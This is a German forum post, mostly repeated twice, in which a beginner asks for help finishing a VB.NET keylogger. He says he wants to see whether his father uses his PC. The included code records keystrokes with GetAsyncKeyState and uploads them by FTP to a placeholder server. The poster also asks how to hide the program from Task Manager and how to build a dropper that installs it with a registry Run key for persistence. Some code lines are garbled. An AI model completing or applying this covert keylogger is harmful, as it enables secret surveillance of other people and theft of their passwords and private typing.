Hallo Leute =)
Ich möchte hiermit klarstellen das ihr euch keinerlei Strafbar macht wenn ihr mir helft das ich diesen Keylogger fuer meinen Pc habe will. Ich möchte gucken ob jemand mit meinem Pc on geht wenn ich z.b. ich der Schule bin (mein Vater oder so ).
Ich möchte sozusagen ein Protokoll von meinen pc^^.
Ich bitte euch mir zu helfen weil morgen früh soll der schon fertig sein ^^.
(Es kann sein das einige fehler drinne sind da ich hier erstmal anfange zu coden und später dan kopiere aus dem folgenden text , also das ganze soll per ftp gehen):
So jetz habe ich ein paar Fragen (habe diese zwar schon auch im forum gesehen aber manchmal klappt das bei mir nich ?!)
Also wie mache ich die Form unsichtbar auch fuer taskmanager ?
Kann ich es vieleicht machen das ich noch eine Andere exe mache , die diesen Keylogger als ressource hat und dann irgentwie .create oder sowas xD? und die dan gleich den Keylogger in ein bestimmtes verzeichnes tut sowie My.Computer.Registry.SetValue("HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run", "Mein Programm"
, "Pad zur Datei.exe", _
Microsoft.Win32.RegistryValueKind.String)
? bitte um hilfe mfg Kevin
Ich möchte hiermit klarstellen das ihr euch keinerlei Strafbar macht wenn ihr mir helft das ich diesen Keylogger fuer meinen Pc habe will. Ich möchte gucken ob jemand mit meinem Pc on geht wenn ich z.b. ich der Schule bin (mein Vater oder so ).
Ich möchte sozusagen ein Protokoll von meinen pc^^.
Ich bitte euch mir zu helfen weil morgen früh soll der schon fertig sein ^^.
(Es kann sein das einige fehler drinne sind da ich hier erstmal anfange zu coden und später dan kopiere aus dem folgenden text , also das ganze soll per ftp gehen):
VB.NET-Quellcode
- Public Class Form1
- Private Declare Function GetAsyncKeyState Lib "user32" (ByVal vkey As Integer) As Integer
- Public Function getkeypress() As Integer
- For i As Integer = 1 To 255
- If GetAsyncKeyState(i) = -32767 Then
- Return i
- End If
- Next i
- End Function
- Private Sub Form1_Load(ByVal sender As Object, ByVal e As System.EventArgs) Handles Me.Load
- Timer1.Enabled = TrueTimer2.enabled
- End Sub
- Private Sub Form1_Resize(ByVal sender As Object, ByVal e As System.EventArgs) Handles Me.Resize
- TextBox1.Width = Me.Width - 30
- TextBox1.Height = Me.Height - 80
- End Sub
- Private Sub Timer1_Tick(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Timer1.Tick
- Dim key As Integer = getkeypress()
- If key <> 0 Then
- TextBox1.Text &= CStr(Chr(key)) 'CStr(Chr(key))
- Else : End If
- End Sub
- Private Sub Timer2_Tick(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Timer2.TickDim wcl As New Net.WebClient
- wcl.Credentials = New Net.NetworkCredential("meinBenutzername", "meinPasswort")
- wcl.UploadString("ftp://meinserver^^.de/deineTextdatei.txt", TextBox1.Text)
- End Class
So jetz habe ich ein paar Fragen (habe diese zwar schon auch im forum gesehen aber manchmal klappt das bei mir nich ?!)
Also wie mache ich die Form unsichtbar auch fuer taskmanager ?
Kann ich es vieleicht machen das ich noch eine Andere exe mache , die diesen Keylogger als ressource hat und dann irgentwie .create oder sowas xD? und die dan gleich den Keylogger in ein bestimmtes verzeichnes tut sowie My.Computer.Registry.SetValue("HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run", "Mein Programm"
, "Pad zur Datei.exe", _
Microsoft.Win32.RegistryValueKind.String)
? bitte um hilfe mfg Kevin